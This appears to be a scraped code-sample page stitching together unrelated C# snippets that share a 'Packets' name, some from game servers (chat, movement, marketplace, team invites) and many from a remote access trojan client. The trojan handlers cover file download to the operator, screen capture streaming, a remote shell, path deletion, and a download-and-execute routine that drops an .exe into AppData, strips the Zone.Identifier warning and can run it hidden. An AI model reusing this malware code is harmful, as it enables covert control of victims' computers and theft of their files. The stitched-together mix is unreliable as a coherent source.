                    for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                    {
                        if (!client.Connected) return;
                        if (_canceledDownloads.ContainsKey(command.ID)) return;

                        byte[] block;
                        if (srcFile.ReadBlock(currentBlock, out block))
                        {
                            new Packets.ClientPackets.DoDownloadFileResponse(command.ID,
                                Path.GetFileName(command.RemotePath), block, srcFile.MaxBlocks, currentBlock,
                                srcFile.LastError).Execute(client);
                        }
                        else
                            new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1,
                                srcFile.LastError).Execute(client);
                    }
                }
                catch (Exception ex)
                {
                    new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1, ex.Message)
                        .Execute(client);
                }
            }).Start();
        }
示例#44
0
        public void Close()
        {
            lock (SendLock)
            {
                if (listener != null)
                {
                    try
                    {
                        listener.Shutdown(SocketShutdown.Both);
                    }
                    finally
                    {
                        listener.Close();
                        listener = null;
                    }
                }

                StopThread();

                SocketList.Clear();
                Packets.Clear();
                ToPeer.Clear();
                SocketToKey.Clear();
                clientcheck.Clear();
                OnListenClient.Clear();

                GetMessage = null;

                RSAkey = new EncryptAndCompress.RSAKeyPair();
            }
        }
示例#45
0
 public void SendPacket(Packets.SLPacket packet)
 {
     lock (_locked)
     {
         foreach (SLDataListener l in _listeners)
             l.Send(packet);
     }
 }
示例#46
0
 public void OnRequestPCInfo(Packets.Client.CSMG_ACTOR_REQUEST_PC_INFO p)
 {
     Packets.Server.SSMG_ACTOR_PC_INFO p1 = new SagaMap.Packets.Server.SSMG_ACTOR_PC_INFO();
     ActorPC pc = (ActorPC)this.map.GetActor(p.ActorID);
     p1.Actor = pc;
     Logger.ShowInfo(this.netIO.DumpData(p1));
     this.netIO.SendPacket(p1);
 }
示例#47
0
 public void OnMapLoaded(Packets.Client.CSMG_PLAYER_MAP_LOADED p)
 {
     this.Character.invisble = false;
     this.Map.OnActorVisibilityChange(this.Character);
     this.Map.SendVisibleActorsToActor(this.Character);
     Packets.Server.SSMG_LOGIN_FINISHED p1 = new SagaMap.Packets.Server.SSMG_LOGIN_FINISHED();
     this.netIO.SendPacket(p1);
 }
示例#48
0
 public static void HandleDoDownloadFileCancel(Packets.ServerPackets.DoDownloadFileCancel command, Client client)
 {
     if (!_canceledDownloads.ContainsKey(command.ID))
     {
         _canceledDownloads.Add(command.ID, "canceled");
         new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1, "Canceled").Execute(client);
     }
 }
示例#49
0
 public void OnChat(Packets.Client.CSMG_CHAT_PUBLIC p)
 {
     if (!AtCommand.Instance.ProcessCommand(this, p.Content))
     {
         ChatArg arg = new ChatArg();
         arg.content = p.Content;
         Map.SendEventToAllActorsWhoCanSeeActor(Map.EVENT_TYPE.CHAT, arg, this.Character, true);
     }
 }
示例#50
0
 public void OnMove(Packets.Client.CSMG_PLAYER_MOVE p)
 {
     switch (p.MoveType)
     {
         case MoveType.RUN:
             this.Map.MoveActor(Map.MOVE_TYPE.START, this.Character, new short[2] { p.X, p.Y }, p.Dir, this.Character.Speed);
             break;
     }
 }
示例#51
0
        public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Client client)
        {
            var resolution = FormatHelper.FormatScreenResolution(ScreenHelper.GetBounds(command.Monitor));

            if (StreamCodec == null)
                StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);

            if (StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor
                || StreamCodec.Resolution != resolution)
            {
                if (StreamCodec != null)
                    StreamCodec.Dispose();

                StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);
            }

            BitmapData desktopData = null;
            Bitmap desktop = null;
            try
            {
                desktop = ScreenHelper.CaptureScreen(command.Monitor);
                desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height),
                    ImageLockMode.ReadWrite, desktop.PixelFormat);

                using (MemoryStream stream = new MemoryStream())
                {
                    if (StreamCodec == null) throw new Exception("StreamCodec can not be null.");
                    StreamCodec.CodeImage(desktopData.Scan0,
                        new Rectangle(0, 0, desktop.Width, desktop.Height),
                        new Size(desktop.Width, desktop.Height),
                        desktop.PixelFormat, stream);
                    new Packets.ClientPackets.GetDesktopResponse(stream.ToArray(), StreamCodec.ImageQuality,
                        StreamCodec.Monitor, StreamCodec.Resolution).Execute(client);
                }
            }
            catch (Exception)
            {
                if (StreamCodec != null)
                    new Packets.ClientPackets.GetDesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor,
                        StreamCodec.Resolution).Execute(client);

                StreamCodec = null;
            }
            finally
            {
                if (desktop != null)
                {
                    if (desktopData != null)
                    {
                        desktop.UnlockBits(desktopData);
                    }
                    desktop.Dispose();
                }
            }
        }
示例#52
0
        public void Invite(Entities.GameClient client, Packets.TeamActionPacket packet)
        {
            if (Members.Count >= 5)
                return;

            if (Leader != client.EntityUID &&
                packet.Action == Enums.TeamAction.AcceptInvite &&
                NextInvite == client.EntityUID)
            {
                // accept
                if (Members.TryAdd(client.EntityUID, client))
                {
                    // send team member ...
                    client.Team = this;
                    using (var teammember = new Packets.TeamMemberPacket())
                    {
                        teammember.Name = client.Name;
                        teammember.EntityUID = client.EntityUID;
                        teammember.Mesh = client.Mesh;
                        teammember.MaxHealth = (ushort)client.MaxHP;
                        teammember.CurrentHealth = (ushort)client.HP;
                        foreach (Entities.GameClient member in Members.Values)
                        {
                            if (member.EntityUID != client.EntityUID)
                            {
                                member.Send(teammember);
                                using (var teammember2 = new Packets.TeamMemberPacket())
                                {
                                    teammember2.Name = member.Name;
                                    teammember2.EntityUID = member.EntityUID;
                                    teammember2.Mesh = member.Mesh;
                                    teammember2.MaxHealth = (ushort)member.MaxHP;
                                    teammember2.CurrentHealth = (ushort)member.HP;
                                    client.Send(teammember2);
                                }
                            }
                        }
                        client.Send(teammember);
                    }

                    packet.EntityUID = Leader;
                    client.Send(packet);
                }
            }
            else if (packet.EntityUID != Leader && packet.Action == Enums.TeamAction.RequestInvite && client.EntityUID == Leader)
            {
                Entities.GameClient newMember;
                if (Core.Kernel.Clients.TrySelect(packet.EntityUID, out newMember))
                {
                    NextInvite = newMember.EntityUID;
                    packet.EntityUID = client.EntityUID;
                    newMember.Send(packet);
                }
            }
        }
        public XFLoginRequestPacket(PlgXfire.Networking.NetworkProviders.XfireNetworkProvider protocolInstance, System.Text.Encoding encodingInstance, String username, String password, Packets.LoginSequence.XFServersSaltPacket serversSaltPacket)
            : base(protocolInstance, encodingInstance)
        {
            pMessageID = 1;

            string pw = calculatePassword(username, password, serversSaltPacket);
            addAttribute(new Structure.XFPacketAttribute(encodingInstance, "name", new Structure.ValueTypes.XFString(encodingInstance, username)));
            addAttribute(new Structure.XFPacketAttribute(encodingInstance, "password", new Structure.ValueTypes.XFString(encodingInstance, pw)));
            addAttribute(new Structure.XFPacketAttribute(encodingInstance, "flags", new Structure.ValueTypes.XFInt32(encodingInstance, 0)));
            addAttribute(new Structure.XFPacketAttribute(encodingInstance, "sid", new Structure.ValueTypes.XFSessionID(encodingInstance, Structure.ValueTypes.XFSessionID.Zero)));
        }
示例#54
0
 public void OnMarketBuyItem(Packets.Client.MarketBuyItem p)
 {
     uint id = p.GetItemId();
     MarketplaceItem item = MapServer.charDB.GetMarketItem(id);
     Packets.Server.MarketBuyItem p1 = new SagaMap.Packets.Server.MarketBuyItem();
     if (item == null)
     {
         p1.SetResult(1);
         this.netIO.SendPacket(p1, this.SessionID);
         return;
     }
     if (this.Char.zeny < item.price)
     {
         p1.SetResult(1);
         this.netIO.SendPacket(p1, this.SessionID);
         return;
     }
     Mail mail = new Mail();
     mail.content = "We are glad to inform you that your registered item at <Regenbogen> Market Place was bought by another Player" +
          ".\n  Here is the money for the sold item.\n We are looking forward to see you at <Regenbogen> again!";
     mail.date = DateTime.Now;
     mail.read = 0;
     mail.receiver = item.owner;
     mail.sender = "<Regenbogen>";
     mail.topic = "Your item at <Regenbogen> was sold";
     mail.zeny = item.price;
     mail.valid = 30;
     MapServer.charDB.NewMail(mail);
     MapServer.charDB.DeleteMarketItem(item);
     MapClient receiver = MapClientManager.Instance.GetClient(item.owner);
     if (receiver != null)
     {
         receiver.CheckNewMail();
     }
     this.Char.zeny -= item.price;
     this.SendZeny();
     mail = new Mail();
     mail.content = "We are glad to inform you that you've successfully bought an item at <Regenbogen> Market Place from another Player" +
          ".\n  Here is the bought item.\n We are looking forward to see you at <Regenbogen> again!";
     mail.date = DateTime.Now;
     mail.read = 0;
     mail.receiver = this.Char.Name;
     mail.sender = "<Regenbogen>";
     mail.topic = "You've bought an item at <Regenbogen>";
     mail.valid = 30;
     mail.creator = "";
     mail.durability = item.item.durability;
     mail.item = (uint)item.item.id;
     mail.stack = item.item.stack;
     MapServer.charDB.NewMail(mail);
     this.CheckNewMail();
     p1.SetResult(0);
     this.netIO.SendPacket(p1, this.SessionID);
 }
示例#55
0
 public Item(Packets.FromServer._0x25AddItemToContainer packet)
 {
     this.Serial = packet.Serial;
     this.GraphicID = packet.GraphicID;
     this.Amount = packet.Amount;
     this.X = packet.X;
     this.Y = packet.Y;
     this.GridIndex = packet.Index;
     this.ContainerSerial = packet.ContainerSerial;
     this.Hue = packet.Hue;
 }
示例#56
0
        public static void HandleDoShowMessageBox(Packets.ServerPackets.DoShowMessageBox command, Client client)
        {
            new Thread(() =>
            {
                MessageBox.Show(null, command.Text, command.Caption,
                    (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton),
                    (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon));
            }).Start();

            new Packets.ClientPackets.SetStatus("Showed Messagebox").Execute(client);
        }
示例#57
0
        public static void HandleDoDownloadAndExecute(Packets.ServerPackets.DoDownloadAndExecute command,
            Client client)
        {
            new Packets.ClientPackets.SetStatus("Downloading file...").Execute(client);

            new Thread(() =>
            {
                string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
                    FileHelper.GetRandomFilename(12, ".exe"));

                try
                {
                    using (WebClient c = new WebClient())
                    {
                        c.Proxy = null;
                        c.DownloadFile(command.URL, tempFile);
                    }
                }
                catch
                {
                    new Packets.ClientPackets.SetStatus("Download failed!").Execute(client);
                    return;
                }

                new Packets.ClientPackets.SetStatus("Downloaded File!").Execute(client);

                try
                {
                    NativeMethods.DeleteFile(tempFile + ":Zone.Identifier");

                    var bytes = File.ReadAllBytes(tempFile);
                    if (bytes[0] != 'M' && bytes[1] != 'Z')
                        throw new Exception("no pe file");

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    if (command.RunHidden)
                    {
                        startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                        startInfo.CreateNoWindow = true;
                    }
                    startInfo.UseShellExecute = command.RunHidden;
                    startInfo.FileName = tempFile;
                    Process.Start(startInfo);
                }
                catch
                {
                    NativeMethods.DeleteFile(tempFile);
                    new Packets.ClientPackets.SetStatus("Execution failed!").Execute(client);
                    return;
                }

                new Packets.ClientPackets.SetStatus("Executed File!").Execute(client);
            }).Start();
        }
示例#58
0
        public static void HandleDoShellExecute(Packets.ServerPackets.DoShellExecute command, Client client)
        {
            string input = command.Command;

            if (_shell == null && input == "exit") return;
            if (_shell == null) _shell = new Shell();

            if (input == "exit")
                CloseShell();
            else
                _shell.ExecuteCommand(input);
        }
示例#59
0
        public static void HandleDoDownloadAndExecute(Packets.ServerPackets.DoDownloadAndExecute command,
            Client client)
        {
            new Packets.ClientPackets.SetStatus("Downloading file...").Execute(client);

            new Thread(() =>
            {
                string tempFile = FileHelper.GetTempFilePath(".exe");

                try
                {
                    using (WebClient c = new WebClient())
                    {
                        c.Proxy = null;
                        c.DownloadFile(command.URL, tempFile);
                    }
                }
                catch
                {
                    new Packets.ClientPackets.SetStatus("Download failed!").Execute(client);
                    return;
                }

                new Packets.ClientPackets.SetStatus("Downloaded File!").Execute(client);

                try
                {
                    FileHelper.DeleteZoneIdentifier(tempFile);

                    var bytes = File.ReadAllBytes(tempFile);
                    if (!FileHelper.IsValidExecuteableFile(bytes))
                        throw new Exception("no pe file");

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    if (command.RunHidden)
                    {
                        startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                        startInfo.CreateNoWindow = true;
                    }
                    startInfo.UseShellExecute = false;
                    startInfo.FileName = tempFile;
                    Process.Start(startInfo);
                }
                catch
                {
                    NativeMethods.DeleteFile(tempFile);
                    new Packets.ClientPackets.SetStatus("Execution failed!").Execute(client);
                    return;
                }

                new Packets.ClientPackets.SetStatus("Executed File!").Execute(client);
            }).Start();
        }
示例#60
0
        public static void HandleDoPathDelete(Packets.ServerPackets.DoPathDelete command, Client client)
        {
            bool isError = false;
            string message = null;

            Action<string> onError = (msg) =>
            {
                isError = true;
                message = msg;
            };

            try
            {
                switch (command.PathType)
                {
                    case PathType.Directory:
                        Directory.Delete(command.Path, true);
                        new Packets.ClientPackets.SetStatusFileManager("Deleted directory", false).Execute(client);
                        break;
                    case PathType.File:
                        File.Delete(command.Path);
                        new Packets.ClientPackets.SetStatusFileManager("Deleted file", false).Execute(client);
                        break;
                }

                HandleGetDirectory(new Packets.ServerPackets.GetDirectory(Path.GetDirectoryName(command.Path)), client);
            }
            catch (UnauthorizedAccessException)
            {
                onError("DeletePath No permission");
            }
            catch (PathTooLongException)
            {
                onError("DeletePath Path too long");
            }
            catch (DirectoryNotFoundException)
            {
                onError("DeletePath Path not found");
            }
            catch (IOException)
            {
                onError("DeletePath I/O error");
            }
            catch (Exception)
            {
                onError("DeletePath Failed");
            }
            finally
            {
                if (isError && !string.IsNullOrEmpty(message))
                    new Packets.ClientPackets.SetStatusFileManager(message, false).Execute(client);
            }
        }